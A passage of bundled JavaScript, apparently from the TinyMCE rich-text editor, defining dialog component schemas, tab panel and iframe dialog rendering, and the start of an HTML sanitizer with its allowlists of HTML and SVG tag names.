    const colorPickerSchema = objOf(colorPickerFields);
    const colorPickerDataProcessor = string;

    const customEditorFields = formComponentFields.concat([
      defaultedString('tag', 'textarea'),
      requiredString('scriptId'),
      requiredString('scriptUrl'),
      defaultedPostMsg('settings', undefined)
    ]);
    const customEditorFieldsOld = formComponentFields.concat([
      defaultedString('tag', 'textarea'),
      requiredFunction('init')
    ]);
    const customEditorSchema = valueOf(v => asRaw('customeditor.old', objOfOnly(customEditorFieldsOld), v).orThunk(() => asRaw('customeditor.new', objOfOnly(customEditorFields), v)));
    const customEditorDataProcessor = string;

    const dropZoneFields = formComponentWithLabelFields;
    const dropZoneSchema = objOf(dropZoneFields);
    const dropZoneDataProcessor = arrOfVal();

    const createGridFields = itemsField => [
      type,
      requiredNumber('columns'),
      itemsField
    ];

    const htmlPanelFields = [
      type,
      requiredString('html'),
      defaultedStringEnum('presets', 'presentation', [
        'presentation',
        'document'
      ])
    ];
    const htmlPanelSchema = objOf(htmlPanelFields);

    const iframeFields = formComponentWithLabelFields.concat([
      defaultedBoolean('sandboxed', true),
      defaultedBoolean('transparent', true)
    ]);
    const iframeSchema = objOf(iframeFields);
    const iframeDataProcessor = string;

    const imagePreviewSchema = objOf(formComponentFields.concat([optionString('height')]));
    const imagePreviewDataProcessor = objOf([
      requiredString('url'),
      optionNumber('zoom'),
      optionNumber('cachedWidth'),
      optionNumber('cachedHeight')
    ]);

    const inputFields = formComponentWithLabelFields.concat([
      optionString('inputMode'),
      optionString('placeholder'),
      defaultedBoolean('maximized', false),
      enabled
    ]);
    const inputSchema = objOf(inputFields);
    const inputDataProcessor = string;

    const createLabelFields = itemsField => [
      type,
      label,
      itemsField
    ];

    const listBoxSingleItemFields = [
      text$1,
      value$1
    ];
    const listBoxNestedItemFields = [
      text$1,
      requiredArrayOf('items', thunkOf('items', () => listBoxItemSchema))
    ];
    const listBoxItemSchema = oneOf([
      objOf(listBoxSingleItemFields),
      objOf(listBoxNestedItemFields)
    ]);
    const listBoxFields = formComponentWithLabelFields.concat([
      requiredArrayOf('items', listBoxItemSchema),
      enabled
    ]);
    const listBoxSchema = objOf(listBoxFields);
    const listBoxDataProcessor = string;

    const selectBoxFields = formComponentWithLabelFields.concat([
      requiredArrayOfObj('items', [
        text$1,
        value$1
      ]),
      defaultedNumber('size', 1),
      enabled
    ]);
    const selectBoxSchema = objOf(selectBoxFields);
    const selectBoxDataProcessor = string;

    const sizeInputFields = formComponentWithLabelFields.concat([
      defaultedBoolean('constrain', true),
      enabled
    ]);
    const sizeInputSchema = objOf(sizeInputFields);
    const sizeInputDataProcessor = objOf([
      requiredString('width'),
      requiredString('height')
    ]);

    const sliderFields = formComponentFields.concat([
      label,
      defaultedNumber('min', 0),
      defaultedNumber('max', 0)
    ]);
    const sliderSchema = objOf(sliderFields);
    const sliderInputDataProcessor = number;

    const tableFields = [
      type,
      requiredArrayOf('header', string),
      requiredArrayOf('cells', arrOf(string))
    ];
    const tableSchema = objOf(tableFields);

    const textAreaFields = formComponentWithLabelFields.concat([
      optionString('placeholder'),
      defaultedBoolean('maximized', false),
      enabled
    ]);
    const textAreaSchema = objOf(textAreaFields);
    const textAreaDataProcessor = string;

    const urlInputFields = formComponentWithLabelFields.concat([
      defaultedStringEnum('filetype', 'file', [
        'image',
        'media',
        'file'
      ]),
      enabled
    ]);
    const urlInputSchema = objOf(urlInputFields);
    const urlInputDataProcessor = objOf([
      value$1,
      defaultedMeta
    ]);

    const createItemsField = name => field$1('items', 'items', required$2(), arrOf(valueOf(v => asRaw(`Checking item of ${ name }`, itemSchema, v).fold(sErr => Result.error(formatError(sErr)), passValue => Result.value(passValue)))));
    const itemSchema = valueThunk(() => choose$2('type', {
      alertbanner: alertBannerSchema,
      bar: objOf(createBarFields(createItemsField('bar'))),
      button: buttonSchema,
      checkbox: checkboxSchema,
      colorinput: colorInputSchema,
      colorpicker: colorPickerSchema,
      dropzone: dropZoneSchema,
      grid: objOf(createGridFields(createItemsField('grid'))),
      iframe: iframeSchema,
      input: inputSchema,
      listbox: listBoxSchema,
      selectbox: selectBoxSchema,
      sizeinput: sizeInputSchema,
      slider: sliderSchema,
      textarea: textAreaSchema,
      urlinput: urlInputSchema,
      customeditor: customEditorSchema,
      htmlpanel: htmlPanelSchema,
      imagepreview: imagePreviewSchema,
      collection: collectionSchema,
      label: objOf(createLabelFields(createItemsField('label'))),
      table: tableSchema,
      panel: panelSchema
    }));
    const panelFields = [
      type,
      defaulted('classes', []),
      requiredArrayOf('items', itemSchema)
    ];
    const panelSchema = objOf(panelFields);

    const tabFields = [
      generatedName('tab'),
      title,
      requiredArrayOf('items', itemSchema)
    ];
    const tabPanelFields = [
      type,
      requiredArrayOfObj('tabs', tabFields)
    ];
    const tabPanelSchema = objOf(tabPanelFields);

    const dialogButtonFields = dialogFooterButtonFields;
    const dialogButtonSchema = dialogFooterButtonSchema;
    const dialogSchema = objOf([
      requiredString('title'),
      requiredOf('body', choose$2('type', {
        panel: panelSchema,
        tabpanel: tabPanelSchema
      })),
      defaultedString('size', 'normal'),
      requiredArrayOf('buttons', dialogButtonSchema),
      defaulted('initialData', {}),
      defaultedFunction('onAction', noop),
      defaultedFunction('onChange', noop),
      defaultedFunction('onSubmit', noop),
      defaultedFunction('onClose', noop),
      defaultedFunction('onCancel', noop),
      defaultedFunction('onTabChange', noop)
    ]);
    const createDialog = spec => asRaw('dialog', dialogSchema, spec);

    const urlDialogButtonSchema = objOf([
      requiredStringEnum('type', [
        'cancel',
        'custom'
      ]),
      ...dialogButtonFields
    ]);
    const urlDialogSchema = objOf([
      requiredString('title'),
      requiredString('url'),
      optionNumber('height'),
      optionNumber('width'),
      optionArrayOf('buttons', urlDialogButtonSchema),
      defaultedFunction('onAction', noop),
      defaultedFunction('onCancel', noop),
      defaultedFunction('onClose', noop),
      defaultedFunction('onMessage', noop)
    ]);
    const createUrlDialog = spec => asRaw('dialog', urlDialogSchema, spec);

    const getAllObjects = obj => {
      if (isObject(obj)) {
        return [obj].concat(bind$3(values(obj), getAllObjects));
      } else if (isArray(obj)) {
        return bind$3(obj, getAllObjects);
      } else {
        return [];
      }
    };

    const isNamedItem = obj => isString(obj.type) && isString(obj.name);
    const dataProcessors = {
      checkbox: checkboxDataProcessor,
      colorinput: colorInputDataProcessor,
      colorpicker: colorPickerDataProcessor,
      dropzone: dropZoneDataProcessor,
      input: inputDataProcessor,
      iframe: iframeDataProcessor,
      imagepreview: imagePreviewDataProcessor,
      selectbox: selectBoxDataProcessor,
      sizeinput: sizeInputDataProcessor,
      slider: sliderInputDataProcessor,
      listbox: listBoxDataProcessor,
      size: sizeInputDataProcessor,
      textarea: textAreaDataProcessor,
      urlinput: urlInputDataProcessor,
      customeditor: customEditorDataProcessor,
      collection: collectionDataProcessor,
      togglemenuitem: dialogToggleMenuItemDataProcessor
    };
    const getDataProcessor = item => Optional.from(dataProcessors[item.type]);
    const getNamedItems = structure => filter$2(getAllObjects(structure), isNamedItem);

    const createDataValidator = structure => {
      const namedItems = getNamedItems(structure);
      const fields = bind$3(namedItems, item => getDataProcessor(item).fold(() => [], schema => [requiredOf(item.name, schema)]));
      return objOf(fields);
    };

    const extract = structure => {
      var _a;
      const internalDialog = getOrDie(createDialog(structure));
      const dataValidator = createDataValidator(structure);
      const initialData = (_a = structure.initialData) !== null && _a !== void 0 ? _a : {};
      return {
        internalDialog,
        dataValidator,
        initialData
      };
    };
    const DialogManager = {
      open: (factory, structure) => {
        const extraction = extract(structure);
        return factory(extraction.internalDialog, extraction.initialData, extraction.dataValidator);
      },
      openUrl: (factory, structure) => {
        const internalDialog = getOrDie(createUrlDialog(structure));
        return factory(internalDialog);
      },
      redial: structure => extract(structure)
    };

    const toValidValues = values => {
      const errors = [];
      const result = {};
      each(values, (value, name) => {
        value.fold(() => {
          errors.push(name);
        }, v => {
          result[name] = v;
        });
      });
      return errors.length > 0 ? Result.error(errors) : Result.value(result);
    };

    const renderBodyPanel = (spec, dialogData, backstage) => {
      const memForm = record(Form.sketch(parts => ({
        dom: {
          tag: 'div',
          classes: ['tox-form'].concat(spec.classes)
        },
        components: map$2(spec.items, item => interpretInForm(parts, item, dialogData, backstage))
      })));
      return {
        dom: {
          tag: 'div',
          classes: ['tox-dialog__body']
        },
        components: [{
            dom: {
              tag: 'div',
              classes: ['tox-dialog__body-content']
            },
            components: [memForm.asSpec()]
          }],
        behaviours: derive$1([
          Keying.config({
            mode: 'acyclic',
            useTabstopAt: not(isPseudoStop)
          }),
          ComposingConfigs.memento(memForm),
          RepresentingConfigs.memento(memForm, {
            postprocess: formValue => toValidValues(formValue).fold(err => {
              console.error(err);
              return {};
            }, identity)
          })
        ])
      };
    };

    const factory$3 = (detail, _spec) => ({
      uid: detail.uid,
      dom: detail.dom,
      components: detail.components,
      events: events$a(detail.action),
      behaviours: augment(detail.tabButtonBehaviours, [
        Focusing.config({}),
        Keying.config({
          mode: 'execution',
          useSpace: true,
          useEnter: true
        }),
        Representing.config({
          store: {
            mode: 'memory',
            initialValue: detail.value
          }
        })
      ]),
      domModification: detail.domModification
    });
    const TabButton = single({
      name: 'TabButton',
      configFields: [
        defaulted('uid', undefined),
        required$1('value'),
        field$1('dom', 'dom', mergeWithThunk(() => ({
          attributes: {
            'role': 'tab',
            'id': generate$6('aria'),
            'aria-selected': 'false'
          }
        })), anyValue()),
        option$3('action'),
        defaulted('domModification', {}),
        field('tabButtonBehaviours', [
          Focusing,
          Keying,
          Representing
        ]),
        required$1('view')
      ],
      factory: factory$3
    });

    const schema$1 = constant$1([
      required$1('tabs'),
      required$1('dom'),
      defaulted('clickToDismiss', false),
      field('tabbarBehaviours', [
        Highlighting,
        Keying
      ]),
      markers$1([
        'tabClass',
        'selectedClass'
      ])
    ]);
    const tabsPart = group({
      factory: TabButton,
      name: 'tabs',
      unit: 'tab',
      overrides: barDetail => {
        const dismissTab$1 = (tabbar, button) => {
          Highlighting.dehighlight(tabbar, button);
          emitWith(tabbar, dismissTab(), {
            tabbar,
            button
          });
        };
        const changeTab$1 = (tabbar, button) => {
          Highlighting.highlight(tabbar, button);
          emitWith(tabbar, changeTab(), {
            tabbar,
            button
          });
        };
        return {
          action: button => {
            const tabbar = button.getSystem().getByUid(barDetail.uid).getOrDie();
            const activeButton = Highlighting.isHighlighted(tabbar, button);
            const response = (() => {
              if (activeButton && barDetail.clickToDismiss) {
                return dismissTab$1;
              } else if (!activeButton) {
                return changeTab$1;
              } else {
                return noop;
              }
            })();
            response(tabbar, button);
          },
          domModification: { classes: [barDetail.markers.tabClass] }
        };
      }
    });
    const parts$1 = constant$1([tabsPart]);

    const factory$2 = (detail, components, _spec, _externals) => ({
      'uid': detail.uid,
      'dom': detail.dom,
      components,
      'debug.sketcher': 'Tabbar',
      'domModification': { attributes: { role: 'tablist' } },
      'behaviours': augment(detail.tabbarBehaviours, [
        Highlighting.config({
          highlightClass: detail.markers.selectedClass,
          itemClass: detail.markers.tabClass,
          onHighlight: (tabbar, tab) => {
            set$9(tab.element, 'aria-selected', 'true');
          },
          onDehighlight: (tabbar, tab) => {
            set$9(tab.element, 'aria-selected', 'false');
          }
        }),
        Keying.config({
          mode: 'flow',
          getInitial: tabbar => {
            return Highlighting.getHighlighted(tabbar).map(tab => tab.element);
          },
          selector: '.' + detail.markers.tabClass,
          executeOnMove: true
        })
      ])
    });
    const Tabbar = composite({
      name: 'Tabbar',
      configFields: schema$1(),
      partFields: parts$1(),
      factory: factory$2
    });

    const factory$1 = (detail, _spec) => ({
      uid: detail.uid,
      dom: detail.dom,
      behaviours: augment(detail.tabviewBehaviours, [Replacing.config({})]),
      domModification: { attributes: { role: 'tabpanel' } }
    });
    const Tabview = single({
      name: 'Tabview',
      configFields: [field('tabviewBehaviours', [Replacing])],
      factory: factory$1
    });

    const schema = constant$1([
      defaulted('selectFirst', true),
      onHandler('onChangeTab'),
      onHandler('onDismissTab'),
      defaulted('tabs', []),
      field('tabSectionBehaviours', [])
    ]);
    const barPart = required({
      factory: Tabbar,
      schema: [
        required$1('dom'),
        requiredObjOf('markers', [
          required$1('tabClass'),
          required$1('selectedClass')
        ])
      ],
      name: 'tabbar',
      defaults: detail => {
        return { tabs: detail.tabs };
      }
    });
    const viewPart = required({
      factory: Tabview,
      name: 'tabview'
    });
    const parts = constant$1([
      barPart,
      viewPart
    ]);

    const factory = (detail, components, _spec, _externals) => {
      const changeTab$1 = button => {
        const tabValue = Representing.getValue(button);
        getPart(button, detail, 'tabview').each(tabview => {
          const tabWithValue = find$5(detail.tabs, t => t.value === tabValue);
          tabWithValue.each(tabData => {
            const panel = tabData.view();
            getOpt(button.element, 'id').each(id => {
              set$9(tabview.element, 'aria-labelledby', id);
            });
            Replacing.set(tabview, panel);
            detail.onChangeTab(tabview, button, panel);
          });
        });
      };
      const changeTabBy = (section, byPred) => {
        getPart(section, detail, 'tabbar').each(tabbar => {
          byPred(tabbar).each(emitExecute);
        });
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        behaviours: get$3(detail.tabSectionBehaviours),
        events: derive$2(flatten([
          detail.selectFirst ? [runOnAttached((section, _simulatedEvent) => {
              changeTabBy(section, Highlighting.getFirst);
            })] : [],
          [
            run$1(changeTab(), (section, simulatedEvent) => {
              const button = simulatedEvent.event.button;
              changeTab$1(button);
            }),
            run$1(dismissTab(), (section, simulatedEvent) => {
              const button = simulatedEvent.event.button;
              detail.onDismissTab(section, button);
            })
          ]
        ])),
        apis: {
          getViewItems: section => {
            return getPart(section, detail, 'tabview').map(tabview => Replacing.contents(tabview)).getOr([]);
          },
          showTab: (section, tabKey) => {
            const getTabIfNotActive = tabbar => {
              const candidates = Highlighting.getCandidates(tabbar);
              const optTab = find$5(candidates, c => Representing.getValue(c) === tabKey);
              return optTab.filter(tab => !Highlighting.isHighlighted(tabbar, tab));
            };
            changeTabBy(section, getTabIfNotActive);
          }
        }
      };
    };
    const TabSection = composite({
      name: 'TabSection',
      configFields: schema(),
      partFields: parts(),
      factory,
      apis: {
        getViewItems: (apis, component) => apis.getViewItems(component),
        showTab: (apis, component, tabKey) => {
          apis.showTab(component, tabKey);
        }
      }
    });

    const measureHeights = (allTabs, tabview, tabviewComp) => map$2(allTabs, (_tab, i) => {
      Replacing.set(tabviewComp, allTabs[i].view());
      const rect = tabview.dom.getBoundingClientRect();
      Replacing.set(tabviewComp, []);
      return rect.height;
    });
    const getMaxHeight = heights => head(sort(heights, (a, b) => {
      if (a > b) {
        return -1;
      } else if (a < b) {
        return +1;
      } else {
        return 0;
      }
    }));
    const getMaxTabviewHeight = (dialog, tabview, tablist) => {
      const documentElement$1 = documentElement(dialog).dom;
      const rootElm = ancestor(dialog, '.tox-dialog-wrap').getOr(dialog);
      const isFixed = get$e(rootElm, 'position') === 'fixed';
      let maxHeight;
      if (isFixed) {
        maxHeight = Math.max(documentElement$1.clientHeight, window.innerHeight);
      } else {
        maxHeight = Math.max(documentElement$1.offsetHeight, documentElement$1.scrollHeight);
      }
      const tabviewHeight = get$d(tabview);
      const isTabListBeside = tabview.dom.offsetLeft >= tablist.dom.offsetLeft + get$c(tablist);
      const currentTabHeight = isTabListBeside ? Math.max(get$d(tablist), tabviewHeight) : tabviewHeight;
      const dialogTopMargin = parseInt(get$e(dialog, 'margin-top'), 10) || 0;
      const dialogBottomMargin = parseInt(get$e(dialog, 'margin-bottom'), 10) || 0;
      const dialogHeight = get$d(dialog) + dialogTopMargin + dialogBottomMargin;
      const chromeHeight = dialogHeight - currentTabHeight;
      return maxHeight - chromeHeight;
    };
    const showTab = (allTabs, comp) => {
      head(allTabs).each(tab => TabSection.showTab(comp, tab.value));
    };
    const setTabviewHeight = (tabview, height) => {
      set$8(tabview, 'height', height + 'px');
      set$8(tabview, 'flex-basis', height + 'px');
    };
    const updateTabviewHeight = (dialogBody, tabview, maxTabHeight) => {
      ancestor(dialogBody, '[role="dialog"]').each(dialog => {
        descendant(dialog, '[role="tablist"]').each(tablist => {
          maxTabHeight.get().map(height => {
            set$8(tabview, 'height', '0');
            set$8(tabview, 'flex-basis', '0');
            return Math.min(height, getMaxTabviewHeight(dialog, tabview, tablist));
          }).each(height => {
            setTabviewHeight(tabview, height);
          });
        });
      });
    };
    const getTabview = dialog => descendant(dialog, '[role="tabpanel"]');
    const smartMode = allTabs => {
      const maxTabHeight = value$2();
      const extraEvents = [
        runOnAttached(comp => {
          const dialog = comp.element;
          getTabview(dialog).each(tabview => {
            set$8(tabview, 'visibility', 'hidden');
            comp.getSystem().getByDom(tabview).toOptional().each(tabviewComp => {
              const heights = measureHeights(allTabs, tabview, tabviewComp);
              const maxTabHeightOpt = getMaxHeight(heights);
              maxTabHeightOpt.fold(maxTabHeight.clear, maxTabHeight.set);
            });
            updateTabviewHeight(dialog, tabview, maxTabHeight);
            remove$6(tabview, 'visibility');
            showTab(allTabs, comp);
            requestAnimationFrame(() => {
              updateTabviewHeight(dialog, tabview, maxTabHeight);
            });
          });
        }),
        run$1(windowResize(), comp => {
          const dialog = comp.element;
          getTabview(dialog).each(tabview => {
            updateTabviewHeight(dialog, tabview, maxTabHeight);
          });
        }),
        run$1(formResizeEvent, (comp, _se) => {
          const dialog = comp.element;
          getTabview(dialog).each(tabview => {
            const oldFocus = active$1(getRootNode(tabview));
            set$8(tabview, 'visibility', 'hidden');
            const oldHeight = getRaw(tabview, 'height').map(h => parseInt(h, 10));
            remove$6(tabview, 'height');
            remove$6(tabview, 'flex-basis');
            const newHeight = tabview.dom.getBoundingClientRect().height;
            const hasGrown = oldHeight.forall(h => newHeight > h);
            if (hasGrown) {
              maxTabHeight.set(newHeight);
              updateTabviewHeight(dialog, tabview, maxTabHeight);
            } else {
              oldHeight.each(h => {
                setTabviewHeight(tabview, h);
              });
            }
            remove$6(tabview, 'visibility');
            oldFocus.each(focus$3);
          });
        })
      ];
      const selectFirst = false;
      return {
        extraEvents,
        selectFirst
      };
    };

    const SendDataToSectionChannel = 'send-data-to-section';
    const SendDataToViewChannel = 'send-data-to-view';
    const renderTabPanel = (spec, dialogData, backstage) => {
      const storedValue = Cell({});
      const updateDataWithForm = form => {
        const formData = Representing.getValue(form);
        const validData = toValidValues(formData).getOr({});
        const currentData = storedValue.get();
        const newData = deepMerge(currentData, validData);
        storedValue.set(newData);
      };
      const setDataOnForm = form => {
        const tabData = storedValue.get();
        Representing.setValue(form, tabData);
      };
      const oldTab = Cell(null);
      const allTabs = map$2(spec.tabs, tab => {
        return {
          value: tab.name,
          dom: {
            tag: 'div',
            classes: ['tox-dialog__body-nav-item']
          },
          components: [text$2(backstage.shared.providers.translate(tab.title))],
          view: () => {
            return [Form.sketch(parts => ({
                dom: {
                  tag: 'div',
                  classes: ['tox-form']
                },
                components: map$2(tab.items, item => interpretInForm(parts, item, dialogData, backstage)),
                formBehaviours: derive$1([
                  Keying.config({
                    mode: 'acyclic',
                    useTabstopAt: not(isPseudoStop)
                  }),
                  config('TabView.form.events', [
                    runOnAttached(setDataOnForm),
                    runOnDetached(updateDataWithForm)
                  ]),
                  Receiving.config({
                    channels: wrapAll([
                      {
                        key: SendDataToSectionChannel,
                        value: { onReceive: updateDataWithForm }
                      },
                      {
                        key: SendDataToViewChannel,
                        value: { onReceive: setDataOnForm }
                      }
                    ])
                  })
                ])
              }))];
          }
        };
      });
      const tabMode = smartMode(allTabs);
      return TabSection.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-dialog__body']
        },
        onChangeTab: (section, button, _viewItems) => {
          const name = Representing.getValue(button);
          emitWith(section, formTabChangeEvent, {
            name,
            oldName: oldTab.get()
          });
          oldTab.set(name);
        },
        tabs: allTabs,
        components: [
          TabSection.parts.tabbar({
            dom: {
              tag: 'div',
              classes: ['tox-dialog__body-nav']
            },
            components: [Tabbar.parts.tabs({})],
            markers: {
              tabClass: 'tox-tab',
              selectedClass: 'tox-dialog__body-nav-item--active'
            },
            tabbarBehaviours: derive$1([Tabstopping.config({})])
          }),
          TabSection.parts.tabview({
            dom: {
              tag: 'div',
              classes: ['tox-dialog__body-content']
            }
          })
        ],
        selectFirst: tabMode.selectFirst,
        tabSectionBehaviours: derive$1([
          config('tabpanel', tabMode.extraEvents),
          Keying.config({ mode: 'acyclic' }),
          Composing.config({ find: comp => head(TabSection.getViewItems(comp)) }),
          RepresentingConfigs.withComp(Optional.none(), tsection => {
            tsection.getSystem().broadcastOn([SendDataToSectionChannel], {});
            return storedValue.get();
          }, (tsection, value) => {
            storedValue.set(value);
            tsection.getSystem().broadcastOn([SendDataToViewChannel], {});
          })
        ])
      });
    };

    const dialogChannel = generate$6('update-dialog');
    const titleChannel = generate$6('update-title');
    const bodyChannel = generate$6('update-body');
    const footerChannel = generate$6('update-footer');
    const bodySendMessageChannel = generate$6('body-send-message');

    const renderBody = (spec, dialogId, contentId, backstage, ariaAttrs) => {
      const renderComponents = incoming => {
        const body = incoming.body;
        switch (body.type) {
        case 'tabpanel': {
            return [renderTabPanel(body, incoming.initialData, backstage)];
          }
        default: {
            return [renderBodyPanel(body, incoming.initialData, backstage)];
          }
        }
      };
      const updateState = (_comp, incoming) => Optional.some({ isTabPanel: () => incoming.body.type === 'tabpanel' });
      const ariaAttributes = { 'aria-live': 'polite' };
      return {
        dom: {
          tag: 'div',
          classes: ['tox-dialog__content-js'],
          attributes: {
            ...contentId.map(x => ({ id: x })).getOr({}),
            ...ariaAttrs ? ariaAttributes : {}
          }
        },
        components: [],
        behaviours: derive$1([
          ComposingConfigs.childAt(0),
          Reflecting.config({
            channel: `${ bodyChannel }-${ dialogId }`,
            updateState,
            renderComponents,
            initialData: spec
          })
        ])
      };
    };
    const renderInlineBody = (spec, dialogId, contentId, backstage, ariaAttrs) => renderBody(spec, dialogId, Optional.some(contentId), backstage, ariaAttrs);
    const renderModalBody = (spec, dialogId, backstage) => {
      const bodySpec = renderBody(spec, dialogId, Optional.none(), backstage, false);
      return ModalDialog.parts.body(bodySpec);
    };
    const renderIframeBody = spec => {
      const bodySpec = {
        dom: {
          tag: 'div',
          classes: ['tox-dialog__content-js']
        },
        components: [{
            dom: {
              tag: 'div',
              classes: ['tox-dialog__body-iframe']
            },
            components: [craft({
                dom: {
                  tag: 'iframe',
                  attributes: { src: spec.url }
                },
                behaviours: derive$1([
                  Tabstopping.config({}),
                  Focusing.config({})
                ])
              })]
          }],
        behaviours: derive$1([Keying.config({
            mode: 'acyclic',
            useTabstopAt: not(isPseudoStop)
          })])
      };
      return ModalDialog.parts.body(bodySpec);
    };

    function _typeof(obj) {
      '@babel/helpers - typeof';
      return _typeof = 'function' == typeof Symbol && 'symbol' == typeof Symbol.iterator ? function (obj) {
        return typeof obj;
      } : function (obj) {
        return obj && 'function' == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? 'symbol' : typeof obj;
      }, _typeof(obj);
    }
    function _setPrototypeOf(o, p) {
      _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
        o.__proto__ = p;
        return o;
      };
      return _setPrototypeOf(o, p);
    }
    function _isNativeReflectConstruct() {
      if (typeof Reflect === 'undefined' || !Reflect.construct)
        return false;
      if (Reflect.construct.sham)
        return false;
      if (typeof Proxy === 'function')
        return true;
      try {
        Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {
        }));
        return true;
      } catch (e) {
        return false;
      }
    }
    function _construct(Parent, args, Class) {
      if (_isNativeReflectConstruct()) {
        _construct = Reflect.construct;
      } else {
        _construct = function _construct(Parent, args, Class) {
          var a = [null];
          a.push.apply(a, args);
          var Constructor = Function.bind.apply(Parent, a);
          var instance = new Constructor();
          if (Class)
            _setPrototypeOf(instance, Class.prototype);
          return instance;
        };
      }
      return _construct.apply(null, arguments);
    }
    function _toConsumableArray(arr) {
      return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread();
    }
    function _arrayWithoutHoles(arr) {
      if (Array.isArray(arr))
        return _arrayLikeToArray(arr);
    }
    function _iterableToArray(iter) {
      if (typeof Symbol !== 'undefined' && iter[Symbol.iterator] != null || iter['@@iterator'] != null)
        return Array.from(iter);
    }
    function _unsupportedIterableToArray(o, minLen) {
      if (!o)
        return;
      if (typeof o === 'string')
        return _arrayLikeToArray(o, minLen);
      var n = Object.prototype.toString.call(o).slice(8, -1);
      if (n === 'Object' && o.constructor)
        n = o.constructor.name;
      if (n === 'Map' || n === 'Set')
        return Array.from(o);
      if (n === 'Arguments' || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))
        return _arrayLikeToArray(o, minLen);
    }
    function _arrayLikeToArray(arr, len) {
      if (len == null || len > arr.length)
        len = arr.length;
      for (var i = 0, arr2 = new Array(len); i < len; i++)
        arr2[i] = arr[i];
      return arr2;
    }
    function _nonIterableSpread() {
      throw new TypeError('Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.');
    }
    var hasOwnProperty = Object.hasOwnProperty, setPrototypeOf = Object.setPrototypeOf, isFrozen = Object.isFrozen, getPrototypeOf = Object.getPrototypeOf, getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
    var freeze = Object.freeze, seal = Object.seal, create = Object.create;
    var _ref = typeof Reflect !== 'undefined' && Reflect, apply = _ref.apply, construct = _ref.construct;
    if (!apply) {
      apply = function apply(fun, thisValue, args) {
        return fun.apply(thisValue, args);
      };
    }
    if (!freeze) {
      freeze = function freeze(x) {
        return x;
      };
    }
    if (!seal) {
      seal = function seal(x) {
        return x;
      };
    }
    if (!construct) {
      construct = function construct(Func, args) {
        return _construct(Func, _toConsumableArray(args));
      };
    }
    var arrayForEach = unapply(Array.prototype.forEach);
    var arrayPop = unapply(Array.prototype.pop);
    var arrayPush = unapply(Array.prototype.push);
    var stringToLowerCase = unapply(String.prototype.toLowerCase);
    var stringMatch = unapply(String.prototype.match);
    var stringReplace = unapply(String.prototype.replace);
    var stringIndexOf = unapply(String.prototype.indexOf);
    var stringTrim = unapply(String.prototype.trim);
    var regExpTest = unapply(RegExp.prototype.test);
    var typeErrorCreate = unconstruct(TypeError);
    function unapply(func) {
      return function (thisArg) {
        for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
          args[_key - 1] = arguments[_key];
        }
        return apply(func, thisArg, args);
      };
    }
    function unconstruct(func) {
      return function () {
        for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
          args[_key2] = arguments[_key2];
        }
        return construct(func, args);
      };
    }
    function addToSet(set, array) {
      if (setPrototypeOf) {
        setPrototypeOf(set, null);
      }
      var l = array.length;
      while (l--) {
        var element = array[l];
        if (typeof element === 'string') {
          var lcElement = stringToLowerCase(element);
          if (lcElement !== element) {
            if (!isFrozen(array)) {
              array[l] = lcElement;
            }
            element = lcElement;
          }
        }
        set[element] = true;
      }
      return set;
    }
    function clone(object) {
      var newObject = create(null);
      var property;
      for (property in object) {
        if (apply(hasOwnProperty, object, [property])) {
          newObject[property] = object[property];
        }
      }
      return newObject;
    }
    function lookupGetter(object, prop) {
      while (object !== null) {
        var desc = getOwnPropertyDescriptor(object, prop);
        if (desc) {
          if (desc.get) {
            return unapply(desc.get);
          }
          if (typeof desc.value === 'function') {
            return unapply(desc.value);
          }
        }
        object = getPrototypeOf(object);
      }
      function fallbackValue(element) {
        console.warn('fallback value for', element);
        return null;
      }
      return fallbackValue;
    }
    var html$1 = freeze([
      'a',
      'abbr',
      'acronym',
      'address',
      'area',
      'article',
      'aside',
      'audio',
      'b',
      'bdi',
      'bdo',
      'big',
      'blink',
      'blockquote',
      'body',
      'br',
      'button',
      'canvas',
      'caption',
      'center',
      'cite',
      'code',
      'col',
      'colgroup',
      'content',
      'data',
      'datalist',
      'dd',
      'decorator',
      'del',
      'details',
      'dfn',
      'dialog',
      'dir',
      'div',
      'dl',
      'dt',
      'element',
      'em',
      'fieldset',
      'figcaption',
      'figure',
      'font',
      'footer',
      'form',
      'h1',
      'h2',
      'h3',
      'h4',
      'h5',
      'h6',
      'head',
      'header',
      'hgroup',
      'hr',
      'html',
      'i',
      'img',
      'input',
      'ins',
      'kbd',
      'label',
      'legend',
      'li',
      'main',
      'map',
      'mark',
      'marquee',
      'menu',
      'menuitem',
      'meter',
      'nav',
      'nobr',
      'ol',
      'optgroup',
      'option',
      'output',
      'p',
      'picture',
      'pre',
      'progress',
      'q',
      'rp',
      'rt',
      'ruby',
      's',
      'samp',
      'section',
      'select',
      'shadow',
      'small',
      'source',
      'spacer',
      'span',
      'strike',
      'strong',
      'style',
      'sub',
      'summary',
      'sup',
      'table',
      'tbody',
      'td',
      'template',
      'textarea',
      'tfoot',
      'th',
      'thead',
      'time',
      'tr',
      'track',
      'tt',
      'u',
      'ul',
      'var',
      'video',
      'wbr'
    ]);
    var svg$1 = freeze([
      'svg',
      'a',
      'altglyph',
      'altglyphdef',
      'altglyphitem',
      'animatecolor',
      'animatemotion',
      'animatetransform',
      'circle',
      'clippath',
      'defs',
      'desc',
      'ellipse',
      'filter',
      'font',
      'g',
      'glyph',
      'glyphref',
      'hkern',
      'image',
      'line',
      'lineargradient',
      'marker',
      'mask',
      'metadata',
      'mpath',
      'path',
      'pattern',
      'polygon',
      'polyline',
      'radialgradient',
      'rect',
      'stop',
      'style',
      'switch',
      'symbol',
      'text',
      'textpath',
      'title',
      'tref',
      'tspan',
      'view',
      'vkern'
    ]);
    var svgFilters = freeze([
      'feBlend',
      'feColorMatrix',
      'feComponentTransfer',
      'feComposite',
      'feConvolveMatrix',
      'feDiffuseLighting',
      'feDisplacementMap',
      'feDistantLight',
      'feFlood',
      'feFuncA',
      'feFuncB',
      'feFuncG',
      'feFuncR',
      'feGaussianBlur',
      'feImage',
